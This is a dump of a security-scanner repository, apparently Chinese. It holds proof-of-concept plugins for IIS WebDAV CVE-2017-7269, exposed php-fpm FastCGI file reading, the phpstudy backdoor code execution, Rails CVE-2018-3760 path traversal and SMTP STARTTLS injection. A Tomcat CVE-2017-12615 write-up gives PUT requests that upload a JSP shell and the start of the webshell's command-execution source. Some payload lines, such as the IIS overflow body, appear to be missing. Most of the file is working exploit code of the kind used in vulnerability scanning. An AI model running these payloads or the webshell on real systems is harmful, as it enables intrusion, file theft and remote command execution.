20 | "url": arg, # 漏洞存在url
21 | "log": hh.log,
22 | "tag": "remote" # 漏洞标签
23 | }
24 | return result
25 |
26 |
27 |
28 |
29 | if __name__ == "__main__":
30 | pass
--------------------------------------------------------------------------------
/system/iis/iis_webdav.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: IIS 6.0 webdav远程代码执行漏洞(CVE-2017-7269)
5 | referer: http://www.mottoin.com/99527.html
6 | author: lcatro
7 | description: CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。
8 | '''
9 |
10 |
11 | import socket
12 |
13 | def poc(arg, **kwargs):
14 | host = kwargs.get("ip")
15 | port = kwargs.get("port")
16 | if not host or not port:
17 | return False
18 | try:
19 | pay = b'PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
20 | pay += b'If: '
23 | pay += b' (Not ) \r\n\r\n'
28 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
29 | sock.settimeout(6.0)
30 | sock.connect((host, port))
31 | sock.sendall(pay)
32 | try:
33 | data = sock.recv(80960).decode()
34 | except:
35 | data = ""
36 | sock.close()
37 | if not -1 == data.find('HHIT CVE-2017-7269 Success'):
38 | result = {
39 | "name": "IIS 6.0 webdav", # 插件名称
40 | "content": "CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行。", # 插件返回内容详情,会造成什么后果。
41 | "url": "{}:{}".format(host,port), # 漏洞存在url
42 | "log": {
43 | "send":"",
44 | "response":data
45 | },
46 | "tag": "remote" # 漏洞标签
47 | }
48 | return result
49 | except:
50 | pass
51 |
52 | if __name__ == "__main__":
53 | pass
--------------------------------------------------------------------------------
/system/php/expose_php.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: php expose_php模块开启
5 | referer: http://blog.csdn.net/change518/article/details/39892449
6 | author: Lucifer
7 | description: 开启了expose_php模块。
8 | '''
9 |
10 |
11 | import HackRequests
12 |
13 | def poc(arg, **kwargs):
14 | hack = HackRequests.hackRequests()
15 |
16 | headers = {
17 | "User-Agent": "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
18 | }
19 | payload = "/index.php?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"
20 | vulnurl = arg + payload
21 | hh = hack.http(vulnurl, headers=headers)
22 | if r"XMLWriter" in hh.text() and r"phpinfo" in hh.text():
23 | result = {
24 | "name": "php expose_php", # 插件名称
25 | "content": "开启了expose_php模块,referer: http://blog.csdn.net/change518/article/details/39892449",
26 | "url": vulnurl, # 漏洞存在url
27 | "log": hh.log,
28 | "tag": "info_leak" # 漏洞标签
29 | }
30 | return result
31 |
32 |
33 |
34 |
35 | if __name__ == "__main__":
36 | pass
--------------------------------------------------------------------------------
/system/php/php_fastcgi_read.py:
--------------------------------------------------------------------------------
1 | '''
2 | name: php fastcgi任意文件读取漏洞
3 | referer: http://blog.sina.com.cn/s/blog_777f9dbb0102vadk.html
4 | author: Lucifer
5 | description: webserver为了提供fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。
6 | 本来这些参数是用户不可控的,但是既然这个fcgi对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情。
7 | '''
8 |
9 |
10 | import socket
11 |
12 | def poc(arg, **kwargs):
13 | port = 9000
14 | host = kwargs.get("ip",None)
15 | if host is None:
16 | return False
17 |
18 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
19 | sock.settimeout(6.0)
20 | try:
21 | sock.connect((host, port))
22 | data = b"""
23 | 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00
24 | 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53
25 | 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52
26 | 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50
27 | 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52
28 | 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44
29 | 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49
30 | 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f
31 | 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53
32 | 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69
33 | 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00
34 | """
35 | data_s = ''
36 | for _ in data.split():
37 | data_s += chr(int(_, 16))
38 | sock.send(data_s)
39 | ret = sock.recv(1024).decode()
40 | if ret.find("root:") > 0 and ret.find("/bin/bash") > 0:
41 | result = {
42 | "name": "php fastcgi任意文件读取漏洞", # 插件名称
43 | "content": "webserver为了提供fastcgi一些参数,每次转发请求的时候,会通过FASTCGI_PARAMS的包向fcgi进程进行传递。本来这些参数是用户不可控的,但是既然这个fcgi对外开放,那么也就说明我们可以通过设定这些参数,来让我们去做一些原本做不到的事情。",
44 | "url": "{}:{}".format(host,port), # 漏洞存在url
45 | "log": {},
46 | "tag": "remote" # 漏洞标签
47 | }
48 | return result
49 | except:
50 | pass
51 | sock.close()
52 |
53 |
54 |
--------------------------------------------------------------------------------
/system/phpstudy/phpstudy_backdoor.py:
--------------------------------------------------------------------------------
1 |
2 | import HackRequests
3 | import base64
4 |
5 | def poc(arg, **kwargs):
6 | hack = HackRequests.hackRequests()
7 | flag = "c8cfaae6f773f763234646e188f84eb3"
8 | prexp = 'echo "{}";'.format(flag)
9 | exp = base64.b64encode(prexp.encode()).decode()
10 | headers = {'Accept-Encoding': 'gzip,deflate',
11 | 'Accept-Charset': exp
12 | }
13 | hh= hack.http(arg,headers=headers)
14 | if hh.status_code == 200 and flag in hh.text():
15 | result = {
16 | "name": "phpstudy任意代码执行", # 插件名称
17 | "content": "在header头Accept-Charset中执行base64编码的代码", # 插件返回内容详情,会造成什么后果。
18 | "url": arg, # 漏洞存在url
19 | "log": hh.log,
20 | "tag": "code_eval" # 漏洞标签
21 | }
22 | return result
--------------------------------------------------------------------------------
/system/rails/CVE-2018-3760/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boy-hack/airbug/3d526a4e2061a13b3d8398fa7db6d1b640b93085/system/rails/CVE-2018-3760/1.png
--------------------------------------------------------------------------------
/system/rails/CVE-2018-3760/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/boy-hack/airbug/3d526a4e2061a13b3d8398fa7db6d1b640b93085/system/rails/CVE-2018-3760/2.png
--------------------------------------------------------------------------------
/system/rails/CVE-2018-3760/CVE-2018-3760.py:
--------------------------------------------------------------------------------
1 | # https://xz.aliyun.com/t/2542
2 | import HackRequests
3 |
4 |
5 | def poc(arg,**kwargs):
6 | payload = arg + "/assets/file:%2f%2f/etc/passwd"
7 | flag = "/etc/passwd"
8 | flag2 = "FileOutsidePaths"
9 | hh = HackRequests.hackRequests().http(payload)
10 | if flag2 in hh.text() and flag in hh.text():
11 | return True
12 |
--------------------------------------------------------------------------------
/system/rails/CVE-2018-3760/README.md:
--------------------------------------------------------------------------------
1 | # Ruby On Rails 路径穿越漏洞(CVE-2018-3760)
2 |
3 | Ruby On Rails在开发环境下使用Sprockets作为静态文件服务器,Ruby On Rails是著名Ruby Web开发框架,Sprockets是编译及分发静态资源文件的Ruby库。
4 |
5 | Sprockets 3.7.1及之前版本中,存在一处因为二次解码导致的路径穿越漏洞,攻击者可以利用`%252e%252e/`来跨越到根目录,读取或执行目标服务器上任意文件。
6 |
7 | 参考链接:
8 |
9 | - https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
10 | - https://seclists.org/oss-sec/2018/q2/210
11 | - https://xz.aliyun.com/t/2542
12 |
13 | ## 环境搭建
14 |
15 | 启动一个用Ruby On Rails脚手架生成的默认站点:
16 |
17 | ```
18 | docker-compose up -d
19 | ```
20 |
21 | 访问`http://your-ip:3000`即可查看到欢迎页面。
22 |
23 | ## 漏洞复现
24 |
25 | 直接访问`http://your-ip:3000/assets/file:%2f%2f/etc/passwd`,将会报错,因为文件`/etc/passwd`不在允许的目录中:
26 |
27 | 
28 |
29 | 我们通过报错页面,可以获得允许的目录列表。随便选择其中一个目录,如`/usr/src/blog/app/assets/images`,然后使用`%252e%252e/`向上一层跳转,最后读取`/etc/passwd`:
30 |
31 | ```
32 | http://your-ip:3000/assets/file:%2f%2f/usr/src/blog/app/assets/images/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/etc/passwd
33 | ```
34 |
35 | 
--------------------------------------------------------------------------------
/system/smtp/smtp_starttls.py:
--------------------------------------------------------------------------------
1 | # Author:w8ay
2 | # Name:测试DEMO
3 | '''
4 | name: smtp starttls明文命令注入(CVE-2011-0411)
5 | referer: http://www.securityfocus.com/archive/1/516901/30/0/threaded
6 | author: Lucifer
7 | description: smtp starttls明文命令注入漏洞可以使攻击者通过发送明文命令注入到加密的SMTP会话,此会话经过TLS处理会造成中间人攻击。
8 | '''
9 |
10 | import socket
11 |
12 |
13 | def poc(arg, **kwargs):
14 | host = kwargs.get("ip",None)
15 | port = kwargs.get("port",21)
16 | if host is None:
17 | return False
18 | try:
19 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
20 | s.settimeout(6)
21 | s.connect((host, port))
22 | s.recv(1024).decode()
23 | s.send(b"STARTTLS\r\nRSET\r\n")
24 | result = s.recv(1024).decode()
25 | s.close()
26 | if r"220 Ready to start TLS" in result:
27 | result = {
28 | "name": "CVE-2011-0411", # 插件名称
29 | "content": "smtp starttls明文命令注入(CVE-2011-0411),攻击者通过发送明文命令注入到加密的SMTP会话,此会话经过TLS处理会造成中间人攻击。", # 插件返回内容详情,会造成什么后果。
30 | "url": "{}:{}".format(host,port), # 漏洞存在url
31 | "log": {
32 | },
33 | "tag": "sqli_inject" # 漏洞标签
34 | }
35 | return result
36 |
37 | except:
38 | pass
39 |
40 |
41 |
42 |
43 | if __name__ == "__main__":
44 | pass
--------------------------------------------------------------------------------
/system/tomcat/CVE-2017-12616/README.md:
--------------------------------------------------------------------------------
1 | *Author:bingo@猎户实验室、 浮萍@猎户实验室*
2 |
3 |
4 |
5 | **1. 漏洞花絮**
6 |
7 | 2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 **远程代码执行漏洞(CVE-2017-12615)** 影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)
8 |
9 | 当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。
10 |
11 |
12 |
13 | **2. 基本信息**
14 |
15 | 漏洞名称:Tomcat任意文件上传漏洞
16 |
17 | 漏洞编号:CVE-2017-12615
18 |
19 | 漏洞影响:上传包含任意代码的文件,并被服务器执行。
20 |
21 | 影响平台:Windows
22 |
23 | 影响版本:Apache Tomcat 7.0.0 - 7.0.81
24 |
25 |
26 |
27 | **3. 测试过程**
28 |
29 | 0x00 安装Tomcat 7.0.79
30 |
31 | 
32 |
33 | **0x01 开启HTTP PUT**
34 |
35 | 修改Tomcat 7.0/conf/web.xml文件
36 |
37 | 添加readonly属性,使者readonly=false.
38 |
39 | 重启tomcat
40 |
41 |
42 |
43 | **0x02 任意文件上传 · 姿势一**
44 |
45 | 思路:参考微软MSDN上关于NTFS Streams的一段资料https://msdn.microsoft.com/en-us/library/dn393272.aspx
46 |
47 | ```
48 | `All files on an NTFS volume consist of at least one stream - the main stream – this is the normal, viewable file in which data is stored. The full name of a stream is of the form below.::The default data stream has no name. That is, the fully qualified name for the default stream for a file called "sample.txt" is "sample.txt::$DATA" since "sample.txt" is the name of the file and "$DATA" is the stream type.`
49 | ```
50 |
51 | payload::
52 |
53 | ```
54 | `PUT /111.jsp::$DATA HTTP/1.1Host: 10.1.1.6:8080User-Agent: JNTASSDNT: 1Connection: close...jsp shell...`
55 | ```
56 |
57 | 写入成功
58 |
59 |
60 |
61 | **0x03 任意文件上传 · 姿势二 (可攻击Tomcat 7.0.81)**
62 |
63 | 思路:可以上传jSp文件(但不能解析),却不可上传jsp。 说明tomcat对jsp是做了一定处理的。那么就考虑是否可以使其处理过程中对文件名的识别存在差异性,前面的流程中 test.jsp/ 识别为非jsp文件,而后续保存文件的时候,文件名不接受/字符,故而忽略掉。
64 |
65 | payload /
66 |
67 | ```
68 | `PUT /222.jsp/ HTTP/1.1Host: 10.1.1.6:8080User-Agent: JNTASSDNT: 1Connection: close...jsp shell...`
69 | ```
70 |
71 | 
72 |
73 | 写入成功
74 |
75 |
76 |
77 | **0x04 菜刀连接**
78 |
79 | 
80 |
81 |
82 |
83 | **4. POC参考**
84 |
85 | > \#! -*- coding:utf-8 -*-
86 | >
87 | > import httplib
88 | >
89 | > import sys
90 | >
91 | > import time
92 | >
93 | > body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
94 | >
95 | > +"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("